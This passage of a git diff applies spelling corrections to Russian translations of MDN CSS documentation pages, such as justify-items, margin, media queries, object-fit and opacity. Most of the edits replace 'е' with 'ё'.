обычных позициях, так как будто свойство <code>justify-content</code> не задано. Этот параметр ведёт себя как <code>stretch</code> в grid и flex контейнерах.</dd> <dt><code>baseline<br> first baseline</code><br> <code>last baseline</code></dt> diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html index 4e28a766e9..e33b891277 100644 --- a/files/ru/web/css/justify-items/index.html +++ b/files/ru/web/css/justify-items/index.html @@ -65,7 +65,7 @@ justify-items: initial; justify-items: unset; </pre> -<p>Этот атрибут может принимать одну из четырех различных форм:</p> +<p>Этот атрибут может принимать одну из четырёх различных форм:</p> <ul> <li>Основные ключевые слова: одно из значений ключевого слова: <code>normal</code>, <code>auto</code>, или <code>stretch</code>.</li> @@ -83,10 +83,10 @@ justify-items: unset; <dd>Эффект этого атрибута зависит от выбранного способа разметки: <ul> <li>Используя разметку с помощью блоков (block-level layout), это ключевое слово является синонимом слова <code>start</code></li> - <li>Для разметки с абсолютно позиционированный элементами, это ключевое слово ведет себя как <code>start</code> на замененных блоках с абсолютным позиционированием и как <code>stretch</code> на всех остальных блоках с абсолютным позиционированием</li> + <li>Для разметки с абсолютно позиционированный элементами, это ключевое слово ведёт себя как <code>start</code> на заменённых блоках с абсолютным позиционированием и как <code>stretch</code> на всех остальных блоках с абсолютным позиционированием</li> <li>Используя разметку с помощью ячеек таблицы (table cell layout), это ключевое слово не имеет значения, так как этот атрибут <em>игнорируется</em></li> <li>Используя разметку с помощью гибких блоков (flexbox layout), это ключевое слово не имеет значения, так как этот атрибут <em>игнорируется</em></li> - <li>Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению <code>stretch</code>, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведет себя как <code>start</code></li> + <li>Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению <code>stretch</code>, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведёт себя как <code>start</code></li> </ul> </dd> <dt><code>start</code></dt> @@ -104,22 +104,22 @@ justify-items: unset; <dt><code>center</code></dt> <dd>Элементы выравниваются на одном уровне друг с другом по направлению к центру контейнера выравнивания.</dd> <dt><code>left</code></dt> - <dd>Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведет себя как <code>start</code>.</dd> + <dd>Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как <code>start</code>.</dd> <dt><code>right</code></dt> - <dd>Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведет себя как <code>start</code>.</dd> + <dd>Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как <code>start</code>.</dd> <dt><code>baseline<br> first baseline</code><br> <code>last baseline</code></dt> <dd>Определяет участие значений <code>first baseline</code> или <code>last baseline</code> в исходном выравнивании. Значение <code>baseline</code> выравнивает первый или последний блок набора в соответствии с исходным выравниванием в общем первом или последнем наборе всех блоков в его совместной группе исходного выравнивания.</dd> <dd>Возвратным выравниванием для <code>first baseline</code> является значение <code>start</code>, для <code>last baseline</code> является значение <code>end</code>.</dd> <dt><code>stretch</code></dt> - <dd>Если объединенный размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением <code>auto</code> увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединенный размер точно заполняет контейнер выравнивания.</dd> + <dd>Если объединённый размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением <code>auto</code> увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединённый размер точно заполняет контейнер выравнивания.</dd> <dt><code>safe</code></dt> <dd>Если размер элемента выходит за пределы контейнера выравнивания, элемент выравнивается, как если бы режим выравнивания имел значение <code>start</code>.</dd> <dt><code>unsafe</code></dt> <dd>Независимо от относительных размеров элемента и контейнера выравнивания, данное значение выравнивания учитывается.</dd> <dt><code>legacy</code></dt> - <dd>Создает значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение <code>justify-self: auto</code>, ключевое слово <code>legacy</code> не учитывается по нисходящему наследованию. Действует только со значением <code>left</code>, <code>right</code>, или <code>center</code>, связанным с ним.</dd> + <dd>Создаёт значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение <code>justify-self: auto</code>, ключевое слово <code>legacy</code> не учитывается по нисходящему наследованию. Действует только со значением <code>left</code>, <code>right</code>, или <code>center</code>, связанным с ним.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -164,7 +164,7 @@ justify-items: unset; <ul> <li>CSS Руководство по Grid: <em><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Выравнивание блоков в разметке Grid</a></em></li> <li><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">CSS Выравнивание блоков</a></li> - <li>Сокращенный атрибут {{CSSxRef("place-items")}}</li> + <li>Сокращённый атрибут {{CSSxRef("place-items")}}</li> <li>Атрибут {{CSSxRef("justify-self")}}</li> <li>Атрибут {{CSSxRef("align-items")}}</li> </ul> diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html index 6dab482257..ee254f16d9 100644 --- a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation --- <div>{{CSSRef}}</div> -<p class="summary">Навигация по хлебным крошкам помогает пользователю понять свое местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.</p> +<p class="summary">Навигация по хлебным крошкам помогает пользователю понять своё местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.</p> <p><img alt="Links displayed inline with separators" src="https://mdn.mozillademos.org/files/16228/breadcrumb-navigation.png" style="height: 108px; width: 1268px;"></p> @@ -22,7 +22,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation </div> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: В приведенном выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:</p> +<p><strong>Примечание</strong>: В приведённом выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:</p> <pre class="notranslate">.breadcrumb li:not(:first-child)::before { content: "→"; diff --git a/files/ru/web/css/layout_cookbook/index.html b/files/ru/web/css/layout_cookbook/index.html index ca19142c28..898ba58672 100644 --- a/files/ru/web/css/layout_cookbook/index.html +++ b/files/ru/web/css/layout_cookbook/index.html @@ -11,12 +11,12 @@ tags: translation_of: Web/CSS/Layout_cookbook --- <div>{{CSSRef}}<br> -Книга рецептов CSS объединяет примеры большинства наиболее распространенных лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.<br> +Книга рецептов CSS объединяет примеры большинства наиболее распространённых лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.<br> <br> В дополнение к представленным примерам кода, - которые вы вполне можете использовать в качестве отправной точки для своих проектов, - эти рецепты иллюстрируют нестандартные способы применения существующих лейаут (layout) спецификаций. Паттерны, представленные ниже, должны помочь вам увидеть новые варианты решения проблем, встречающихся в жизни разработчика.</div> <div><br> -<strong>Примечание.</strong> Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведенных здесь рецептов.</div> +<strong>Примечание.</strong> Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведённых здесь рецептов.</div> <h2 id="The_Recipes">The Recipes</h2> diff --git a/files/ru/web/css/layout_cookbook/split_navigation/index.html b/files/ru/web/css/layout_cookbook/split_navigation/index.html index 5f08999af1..c6b66d5e2f 100644 --- a/files/ru/web/css/layout_cookbook/split_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/split_navigation/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/Layout_cookbook/Split_Navigation <h2 id="Требования">Требования</h2> -<p>Распространенный навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. </p> +<p>Распространённый навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. </p> <h2 id="Рецепт">Рецепт</h2> diff --git a/files/ru/web/css/layout_cookbook/sticky_footers/index.html b/files/ru/web/css/layout_cookbook/sticky_footers/index.html index 945d727438..d5cc1a5c97 100644 --- a/files/ru/web/css/layout_cookbook/sticky_footers/index.html +++ b/files/ru/web/css/layout_cookbook/sticky_footers/index.html @@ -33,7 +33,7 @@ translation_of: Web/CSS/Layout_cookbook/Sticky_footers <h2 id="Выбор_сделан">Выбор сделан</h2> -<p>В приведенном выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс <code>.wrapper</code> имеет минимальную высоту <code>100%</code>, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаем сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.</p> +<p>В приведённом выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс <code>.wrapper</code> имеет минимальную высоту <code>100%</code>, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаём сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.</p> <p>При автоматическом размещении сетки наши элементы будут располагаться в исходном порядке, поэтому заголовок переходит на первую дорожку с автоматическими размерами, основное содержимое - на дорожку <code>1fr</code>, а нижний колонтитул - в конечную дорожку с автоматическими размерами. Трек <code>1fr</code> будет занимать все доступное пространство и поэтому будет увеличиваться, чтобы заполнить этот пробел.</p> diff --git a/files/ru/web/css/line-break/index.html b/files/ru/web/css/line-break/index.html index 77a60084f0..3fd8255f5a 100644 --- a/files/ru/web/css/line-break/index.html +++ b/files/ru/web/css/line-break/index.html @@ -33,7 +33,7 @@ line-break: unset; <dt><code>loose</code></dt> <dd>Разрыв текста, используя правило разрыва строки с наименьшими ограничениями. Обычно используется для коротких строк, например, в газетах.</dd> <dt><code>normal</code></dt> - <dd>Разрыв текста, используя наиболее распространенное правило разрыва строки.</dd> + <dd>Разрыв текста, используя наиболее распространённое правило разрыва строки.</dd> <dt><code>strict</code></dt> <dd>Разрыв текста, используя самое строгое правило разрыва строки.</dd> </dl> diff --git a/files/ru/web/css/list-style-image/index.html b/files/ru/web/css/list-style-image/index.html index fd53b2bf17..75ab704334 100644 --- a/files/ru/web/css/list-style-image/index.html +++ b/files/ru/web/css/list-style-image/index.html @@ -40,7 +40,7 @@ list-style-image: unset; <dt>{{cssxref("<url>")}}</dt> <dd>Расположение элемента для использования в качестве маркера.</dd> <dt><code>none</code></dt> - <dd>Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определенный в {{ Cssxref("list-style-type") }}.</dd> + <dd>Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определённый в {{ Cssxref("list-style-type") }}.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/margin-inline-start/index.html b/files/ru/web/css/margin-inline-start/index.html index 5021330969..cc9db43bce 100644 --- a/files/ru/web/css/margin-inline-start/index.html +++ b/files/ru/web/css/margin-inline-start/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/margin-inline-start --- <p>{{CSSRef}}{{SeeCompatTable}}</p> -<p>Свойство <strong><code>margin-inline-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> задает логическое строковое (inline) значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p> +<p>Свойство <strong><code>margin-inline-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> задаёт логическое строковое (inline) значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p> <pre class="brush:css no-line-numbers">/* <length> values */ margin-inline-start: 10px; /* абсолютная величина */ diff --git a/files/ru/web/css/margin-left/index.html b/files/ru/web/css/margin-left/index.html index ae301e9b36..870fe59a5d 100644 --- a/files/ru/web/css/margin-left/index.html +++ b/files/ru/web/css/margin-left/index.html @@ -41,7 +41,7 @@ margin-left: unset; <dt>{{cssxref("<percentage>")}}</dt> <dd>Размер отступа в процентах - размер относительно длины родительского блока.</dd> <dt><code>auto</code></dt> - <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: + <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные: <table class="standard-table"> <thead> <tr> diff --git a/files/ru/web/css/margin-right/index.html b/files/ru/web/css/margin-right/index.html index d21ce8cdfd..e8fbfc332f 100644 --- a/files/ru/web/css/margin-right/index.html +++ b/files/ru/web/css/margin-right/index.html @@ -41,7 +41,7 @@ margin-right: unset; <dt>{{cssxref("<percentage>")}}</dt> <dd>Размер отступа в процентах - размер относительно длины родительского блока.</dd> <dt><code>auto</code></dt> - <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: + <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные: <table class="standard-table"> <thead> <tr> diff --git a/files/ru/web/css/margin/index.html b/files/ru/web/css/margin/index.html index 62c2f9ec7a..8841f9ed8c 100644 --- a/files/ru/web/css/margin/index.html +++ b/files/ru/web/css/margin/index.html @@ -11,7 +11,7 @@ translation_of_original: Web/CSS/margin-new --- <div>{{CSSRef}}</div> -<p>Свойство <strong><code>margin</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> определяет <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внешний отступ</a> на всех четырех сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.</p> +<p>Свойство <strong><code>margin</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> определяет <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внешний отступ</a> на всех четырёх сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.</p> <pre class="brush:css no-line-numbers">/* Применяется ко всем четырём сторонам */ margin: 1em; @@ -49,7 +49,7 @@ margin: unset; <div class="cell"> <div class="m m4">margin: 5px 1em 0 auto</div> </div> - <div class="note">Все вышеприведенные блоки имеют одинаковую ширину 50%</div> + <div class="note">Все вышеприведённые блоки имеют одинаковую ширину 50%</div> </div> </div></pre> @@ -112,10 +112,10 @@ margin: unset; <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>margin</code> может быть задано с использованием одного, двух, трех или четырех значений. Каждое значение имеет тип <code><a href="#<length>"><length></a></code>, <code><a href="#<percentage>"><percentage></a></code> или является ключевым словом <code><a href="#auto">auto</a></code>. Каждое значение может быть положительным, отрицательным или равным нулю.</p> +<p>Свойство <code>margin</code> может быть задано с использованием одного, двух, трёх или четырёх значений. Каждое значение имеет тип <code><a href="#<length>"><length></a></code>, <code><a href="#<percentage>"><percentage></a></code> или является ключевым словом <code><a href="#auto">auto</a></code>. Каждое значение может быть положительным, отрицательным или равным нулю.</p> <ul> - <li>Когда определено <strong>одно</strong> значение, такое значение определено для <strong>всех четырех сторон</strong>.</li> + <li>Когда определено <strong>одно</strong> значение, такое значение определено для <strong>всех четырёх сторон</strong>.</li> <li>Когда определены <strong>два</strong> значения, то первое значение определяет внешний отступ для <strong>верхней и нижней</strong> стороны, а второе значение определяет отступ для <strong>левой и правой стороны</strong>.</li> <li>Когда определены <strong>три</strong> значение, то первое значение определяет внешний отступ для <strong>верхней</strong> стороны, второе значение определяет внешний отступ для <strong>левой и правой стороны</strong>, а третье значение определяет отступ для <strong>нижней</strong> стороны.</li> <li>Когда определены <strong>четыре</strong> значения, они определяют внешние отступы для <strong>верхней</strong> стороны, <strong>справа</strong>, <strong>снизу</strong> и <strong>слева</strong> в рассмотренном порядке (по часовой стрелке).</li> diff --git a/files/ru/web/css/max-block-size/index.html b/files/ru/web/css/max-block-size/index.html index 416987e8b3..bce04c2a67 100644 --- a/files/ru/web/css/max-block-size/index.html +++ b/files/ru/web/css/max-block-size/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/max-block-size --- <p>{{CSSRef}}{{SeeCompatTable}}</p> -<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> свойство<strong> <code>max-block-size</code></strong> определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определенного в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства <code>max-block-size</code> относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.</p> +<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> свойство<strong> <code>max-block-size</code></strong> определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определённого в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства <code>max-block-size</code> относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.</p> <pre class="brush:css no-line-numbers">/* <length> values */ max-block-size: 300px; diff --git a/files/ru/web/css/media_queries/index.html b/files/ru/web/css/media_queries/index.html index 148efccbea..63d4f820cb 100644 --- a/files/ru/web/css/media_queries/index.html +++ b/files/ru/web/css/media_queries/index.html @@ -14,9 +14,9 @@ translation_of: Web/CSS/Media_Queries --- <div>{{CSSRef("CSS3 Media Queries")}}</div> -<p><strong>Media Queries</strong> - ключевой компонент <a href="/en-US/docs/Web/Apps/Progressive/Responsive">отзывчивого дизайна</a>, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определенного размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.</p> +<p><strong>Media Queries</strong> - ключевой компонент <a href="/en-US/docs/Web/Apps/Progressive/Responsive">отзывчивого дизайна</a>, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определённого размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.</p> -<p>Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определенное изображение для использования в элементе {{HTMLElement("picture")}}.</p> +<p>Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определённое изображение для использования в элементе {{HTMLElement("picture")}}.</p> <p>In addition, the {{domxref("Window.matchMedia()")}} method can be used to test the window against a media query. You can also use {{domxref("MediaQueryList.addListener()")}} to be notified whenever the state of the queries changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state.</p> diff --git a/files/ru/web/css/media_queries/testing_media_queries/index.html b/files/ru/web/css/media_queries/testing_media_queries/index.html index facf42b21c..34880c4015 100644 --- a/files/ru/web/css/media_queries/testing_media_queries/index.html +++ b/files/ru/web/css/media_queries/testing_media_queries/index.html @@ -42,7 +42,7 @@ mediaQueryList.addListener(handleOrientationChange); // Добавление к handleOrientationChange(mediaQueryList); // Запуск обработчика изменений, один раз. </pre> -<p>Этот код создает список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.</p> +<p>Этот код создаёт список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.</p> <p>Функция <code>handleOrientationChange()</code> будет следить за результатом выражения и обрабатывать все, что нам нужно сделать при изменении ориентации:</p> @@ -57,11 +57,11 @@ handleOrientationChange(mediaQueryList); // Запуск обработчика <p>Выше, мы определяем параметры как <code>evt</code> — event объект. Это имеет значение, поскольку <a href="/en-US/docs/Web/API/MediaQueryList#Browser_compatibility">новые реализации <code>MediaQueryList</code></a> обрабатывают события стандартным способом. Они больше не используют нестандартный механизм {{domxref("MediaQueryListListener")}} , а используют стандартную настройку обработчика событий, передавая <a href="/en-US/docs/Web/API/Event">объект event</a> {{domxref("MediaQueryListEvent")}} как аргумент колбэк-функции.</p> -<p>Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства <code>MediaQueryList</code> путем прямого доступа к нему или доступа к event объекту.</p> +<p>Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства <code>MediaQueryList</code> путём прямого доступа к нему или доступа к event объекту.</p> <h2 id="Уведомление_о_завершении_выражения">Уведомление о завершении выражения</h2> -<p>Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод <code>removeListener()</code> для {{domxref("MediaQueryList") }}, передав ему имя, ранее определенной функции:</p> +<p>Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод <code>removeListener()</code> для {{domxref("MediaQueryList") }}, передав ему имя, ранее определённой функции:</p> <pre class="brush: js">mediaQueryList.removeListener(handleOrientationChange); </pre> diff --git a/files/ru/web/css/media_queries/using_media_queries/index.html b/files/ru/web/css/media_queries/using_media_queries/index.html index 9923ab8f1e..07014138a2 100644 --- a/files/ru/web/css/media_queries/using_media_queries/index.html +++ b/files/ru/web/css/media_queries/using_media_queries/index.html @@ -4,7 +4,7 @@ slug: Web/CSS/Media_Queries/Using_media_queries tags: - Веб - Медиа - - Медиа верстка + - Медиа вёрстка - Медиавыражения - Отзывчивый дизайн - Продвинутый @@ -30,7 +30,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries <h2 id="Узконаправленные_media">Узконаправленные @media</h2> -<p><a href="/en-US/docs/CSS/@media#Media_features">Media features</a> описывают некие характеристики определенного {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещенности. В примере ниже стили будут применены только когда <em>основное </em>устройство ввода пользователя (например мышь) будет расположено над элементами:</p> +<p><a href="/en-US/docs/CSS/@media#Media_features">Media features</a> описывают некие характеристики определённого {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещённости. В примере ниже стили будут применены только когда <em>основное </em>устройство ввода пользователя (например мышь) будет расположено над элементами:</p> <pre class="brush: css">@media (hover: hover) { ... }</pre> @@ -38,7 +38,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries <pre class="brush: css">@media (max-width: 12450px) { ... }</pre> -<p>Если вы создаете медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:</p> +<p>Если вы создаёте медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:</p> <pre class="brush: css">@media (color) { ... }</pre> diff --git a/files/ru/web/css/object-fit/index.html b/files/ru/web/css/object-fit/index.html index 66c10ac4ed..69cacd65c0 100644 --- a/files/ru/web/css/object-fit/index.html +++ b/files/ru/web/css/object-fit/index.html @@ -23,11 +23,11 @@ translation_of: Web/CSS/object-fit <dt><code>fill</code></dt> <dd>Смещаемый контент меняет свой размер таким образом, чтобы заполнить всю область внутри блока: используется вся ширина и высота блока.</dd> <dt><code>contain</code></dt> - <dd>Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определен как "помещенный внутрь" блока, ограничиваясь его шириной и высотой.</dd> + <dd>Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определён как "помещённый внутрь" блока, ограничиваясь его шириной и высотой.</dd> <dt><code>cover</code></dt> - <dd>Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определен как "покрытие" блока, ограничиваясь его шириной и высотой.</dd> + <dd>Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определён как "покрытие" блока, ограничиваясь его шириной и высотой.</dd> <dt><code>none</code></dt> - <dd>Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определен с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.</dd> + <dd>Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определён с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.</dd> </dl> <dl> diff --git a/files/ru/web/css/opacity/index.html b/files/ru/web/css/opacity/index.html index 5242bb0220..92b9189692 100644 --- a/files/ru/web/css/opacity/index.html +++ b/files/ru/web/css/opacity/index.html @@ -68,10 +68,10 @@ translation_of: Web/CSS/opacity opacity: 0.2; /* Едва видимый текст на фоне */ } .medium { - opacity: 0.5; /* Видимость текста более четкая на фоне */ + opacity: 0.5; /* Видимость текста более чёткая на фоне */ } .heavy { - opacity: 0.9; /* Видимость текста очень четкая на фоне */ + opacity: 0.9; /* Видимость текста очень чёткая на фоне */ } </pre> @@ -105,9 +105,9 @@ img.opacity:hover { <h2 id="Проблемы_доступности">Проблемы доступности</h2> -<p>Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещен текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.</p> +<p>Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещён текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое 